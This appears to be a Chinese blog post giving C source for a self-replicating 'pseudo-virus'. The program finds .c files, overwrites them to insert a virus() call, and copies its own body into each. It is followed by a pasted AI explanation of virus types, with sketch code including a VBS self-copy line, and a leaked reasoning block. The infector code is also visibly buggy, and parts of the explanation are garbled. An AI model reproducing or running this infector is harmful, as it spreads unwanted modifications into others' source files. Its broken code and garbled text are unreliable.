C写的伪病毒

 

#include<stdio.h>
#include <dir.h> 
int main(void)
{
virus();
}
int virus()
{
struct ffblk ffblk;
FILE *in,*out,*read;
char *virus="virus.c";
char buf[50][80];
char *p;
char *end="return";
char *bracket="}";
char *main="main";
char *include[2]={"stdio.h","dir.h"};
char *int_virus="int virus()";
char *buffer;
int done,i,j=0,flag=0;
printf("\nI have a virus. Writen by PuBin\n");
done = findfirst("*.c",&ffblk,0);
while (!done)
{
i=0;
if ((in = fopen(ffblk.ff_name, "rt"))== NULL)
{
goto next;
}
do{
    if(i>=50)
    {
fclose(in);
goto next;
    }
    p=fgets(buf,80,in);
    i++;
   }while(p!=NULL);
   fclose(in);
   out=fopen(ffblk.ff_name,"w+t");
   fputs("#include<stdio.h>\n",out);
   fputs("#include<dir.h>\n",out);
do
{
  if(strstr(buf[j],main)!=NULL)
  {
   for(;j<i-1;j++)
   if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL)
   fputs(buf[j],out);
   else
   {
    if(flag==0)
    {
flag=1;
fputs("virus();\n",out);
    }
    fputs(buf[j],out);
   }
}
else if((strstr(buf[j],include[0])==NULL)
&&(strstr(buf[j],include[1])==NULL))
{
fputs(buf[j],out);
j++;
}
else
j++;
}while(j<i-1);
read=fopen(virus,"rt");
do
{
p=fgets(buffer,80,read);
if(strstr(buffer,int_virus))
while(p!=NULL)
{
  if(strstr(buffer,virus)==NULL)
  fputs(buffer,out);
  else
  {
                fputs(" char *virus=\"",out);
fputs(ffblk.ff_name,out);
        fputs("\";\n",out);
}
p=fgets(buffer,80,read);
}
}while(p!=NULL);

fclose(read);
fclose(out);
printf("\nYour c program  %s has a virus. Writen by PuBin\n",ffblk.ff_name);
next: done = findnext(&ffblk);
}
return 0;
}

<think>嗯,用户现在想了解病毒代码的实现原理和相关案例。我需要根据之前的引用内容来组织回答。首先,用户提到的引用里提到了用高级语言编病毒的优缺点,比如C语言病毒的大小问题,还有代码病毒的工作机制。还有脚本病毒的例子,比如VB脚本病毒和蠕虫病毒的特性。用户可能想知道病毒的基本原理,比如传播机制、感染方式、触发条件等。需要分点解释,结构要清晰。然后案例部分,可以举重病毒、代码病毒和脚本病毒的例子,每个例子要具体说明它们是怎么工作的,比如代码病毒如何感染C文件,添加头文件和调用函数。 还要注意用户提到的引用中的关键点,比如高级语言病毒的弊端,代码病毒的高效性,以及脚本病毒利用COM组件等。需要确保回答准确引用这些信息,并在末尾添加引用标识。另外,用户可能需要相关问题,所以得生成几个相关的问题,比如不同语言的病毒差异、防御方法、历史案例等。要确保用中文回答,LaTeX公式正确,行内公式用$...$,独立公式用$$...$$。不过病毒代码相关的部分可能公式不多,但如果有数学表达式的话要注意格式。比如在解释加密算法时可能会有,但根据引用内容,可能暂时不需要,所以可能可以省略公式部分。还需要检查是否有技术错误,比如代码病毒的工作流程是否描述正确,是否混淆了不同类型的病毒。确保引用[1]和[2]的信息准确融入回答中,比如重病毒会破坏文件,脚本病毒利用文件名欺骗等。 最后,生成的问题要围绕病毒的实现原理、案例、防御措施等,帮助用户深入探索。可能需要列出三个问题,比如不同编程语言的病毒差异、如何防御脚本病毒、历史著名病毒案例等。</think>### 病毒代码实现原理分析 #### 一、病毒代码的基本特性 根据技术资料,病毒代码的核心机制包含以下步骤[^1]: 1. **文件搜索**:寻找特定类型的目标文件(如可执行文件、源代码文件等) 2. **感染入**:将病毒本体植入目标文件 3. **触发检测**:检查预设条件(如时间、系统状态等) 4. **行为执行**:返回宿主程序或触发破坏性操作 #### 二、典型病毒实现案例 1. **重病毒(Overwriting Virus)** - **原理**:直接覆盖目标文件内容导致永久性损坏 - **缺陷**:文件损毁易被发现,需通过备份恢复[^1] - **代码示例**: ```c void infect_file(char *filename) { overwrite(filename, virus_code); // 覆盖目标文件 if (trigger_condition()) { destructive_action(); // 触发破坏行为 } } ``` 2. **代码病毒(Source-Code Virus)** - **感染流程**: 1. 扫描`.c`扩展名的C语言源文件 2. 插入包含病毒的头文件`#include "virus.h"` 3. 在`main()`函数中添加病毒调用`virus_init()`[^1] - **优势**:通过编译过程实现隐蔽传播 3. **脚本病毒(如VB蠕虫病毒)** - **技术特征**: - 使用`.vbs`脚本文件作为载体 - 通过文件名欺骗(如`*.htm.vbs`)诱导用户执行 - 调用COM+组件增强破坏能力[^2] - **示例传播代码**: ```vbs Set fso = CreateObject("Scripting.FileSystemObject") fso.CopyFile WScript.ScriptFullName, "C:\target.vbs" ``` #### 三、病毒设计关键技术 1. **内存驻留技术**: - 高级语言编病毒常因内存占用过大易被察觉(通常超过10KB)[^1] 2. **传播优化方法**: - 代码压缩(如PE压缩壳技术) - 多态引擎(Polymorphic Engine)实现代码变异
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值